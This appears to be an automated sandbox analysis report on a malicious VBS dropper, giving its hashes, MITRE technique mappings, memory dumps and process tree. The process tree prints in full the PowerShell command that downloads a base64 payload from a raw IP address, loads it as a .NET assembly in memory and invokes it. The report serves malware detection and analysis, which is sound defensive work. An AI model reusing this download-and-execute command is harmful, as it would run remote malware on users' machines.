d9577a11fb93cf09c220f70d087e55eb4c7c5fed0537aebd8013e7e01a8d5d15

Analysis

max time kernel
113s
max time network
142s
platform
windows10-2004_x64
resource
win10v2004-20230621-en
resource tags

arch:x64arch:x86image:win10v2004-20230621-enlocale:en-usos:windows10-2004-x64system
submitted
01-07-2023 07:51

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General

Target

droidddxxxPayloadvbs.vbs
Size

92KB
MD5

3d54b88bf2b6bcd1126ef4eb20d9e9f9
SHA1

1fe4483c54fa7da0ea4ee769a36d8717da12e0d1
SHA256

d9577a11fb93cf09c220f70d087e55eb4c7c5fed0537aebd8013e7e01a8d5d15
SHA512

c5285a0b26d35bcfa60bf291ac924e09a6dd413ee93d4b0babfc71ce9dd34f3507bed4c7d8f704797f315d0125bd1a7eeda50ca855f1c3a16e090f2c67d960e6
SSDEEP

768:mnHGdUBDCKtfYjE3Luo4+eaWZxidnOk9p0YFPk9Wai2Y:OHGd+CKtfSo4+sxidnOk9p0YFNai2Y

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://172.174.176.153/dll/new_rump_vb.net.txt

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
11	1344	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4129409437-3162877118-52503038-1000\Control Panel\International\Geo\Nation	WScript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1344	powershell.exe
1344	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1344	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 1320 wrote to memory of 4736	1320	WScript.exe	86
PID 1320 wrote to memory of 4736	1320	WScript.exe	86
PID 4736 wrote to memory of 1344	4736	cmd.exe	88
PID 4736 wrote to memory of 1344	4736	cmd.exe	88

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\droidddxxxPayloadvbs.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1320
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c powershell.exe [Byte[]] $rOWg = [system.Convert]::FromBase64string((New-Object Net.WebClient).DownloadString('http://172.174.176.153/dll/new_rump_vb.net.txt'));[System.AppDomain]::CurrentDomain.Load($rOWg).GetType('Fiber.Home').GetMethod('VAI').Invoke($null, [object[]] ('ø☀☞√�}П�◀@+@░�@@ø☀☞√�}П�.!}(ú░}nmz◀@+@░�@@*(+ø(!}(ú░}mz◀@+@░�@@*(+ø(!}(ú░}zmn◀@+@░�@@v*(+ø(n4*●*☞#:▶4(úø(@@*ú.0(úø(@@*ú](∞ú(.87](∞ú(.59](∞ú(4*●*☞#:▶4*●*☞#:▶▶☟ð}↓→+◀pø☀☞√�}П�ø☀☞√�}П�↓*(▲☟@*⇝','1No1me_Startup','2No3me_3tartup'))
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4736
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe [Byte[]] $rOWg = [system.Convert]::FromBase64string((New-Object Net.WebClient).DownloadString('http://172.174.176.153/dll/new_rump_vb.net.txt'));[System.AppDomain]::CurrentDomain.Load($rOWg).GetType('Fiber.Home').GetMethod('VAI').Invoke($null, [object[]] ('ø☀☞√�}П�◀@+@░�@@ø☀☞√�}П�.!}(ú░}nmz◀@+@░�@@*(+ø(!}(ú░}mz◀@+@░�@@*(+ø(!}(ú░}zmn◀@+@░�@@v*(+ø(n4*●*☞#:▶4(úø(@@*ú.0(úø(@@*ú](∞ú(.87](∞ú(.59](∞ú(4*●*☞#:▶4*●*☞#:▶▶☟ð}↓→+◀pø☀☞√�}П�ø☀☞√�}П�↓*(▲☟@*⇝','1No1me_Startup','2No3me_3tartup'))
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1344

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_id4jnjip.41c.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1344-133-0x0000027113B60000-0x0000027113B70000-memory.dmp

Filesize
64KB

Download
memory/1344-134-0x0000027113B60000-0x0000027113B70000-memory.dmp

Filesize
64KB

Download
memory/1344-135-0x0000027113B30000-0x0000027113B52000-memory.dmp

Filesize
136KB

Download
memory/1344-145-0x0000027113B60000-0x0000027113B70000-memory.dmp

Filesize
64KB

Download
memory/1344-146-0x000002712C060000-0x000002712C27C000-memory.dmp

Filesize
2.1MB

Download
memory/1344-148-0x0000027113B60000-0x0000027113B70000-memory.dmp

Filesize
64KB

Download
memory/1344-147-0x0000027113B60000-0x0000027113B70000-memory.dmp

Filesize
64KB

Download
memory/1344-149-0x0000027113B60000-0x0000027113B70000-memory.dmp

Filesize
64KB

Download
memory/1344-153-0x000002712C060000-0x000002712C27C000-memory.dmp

Filesize
2.1MB

Download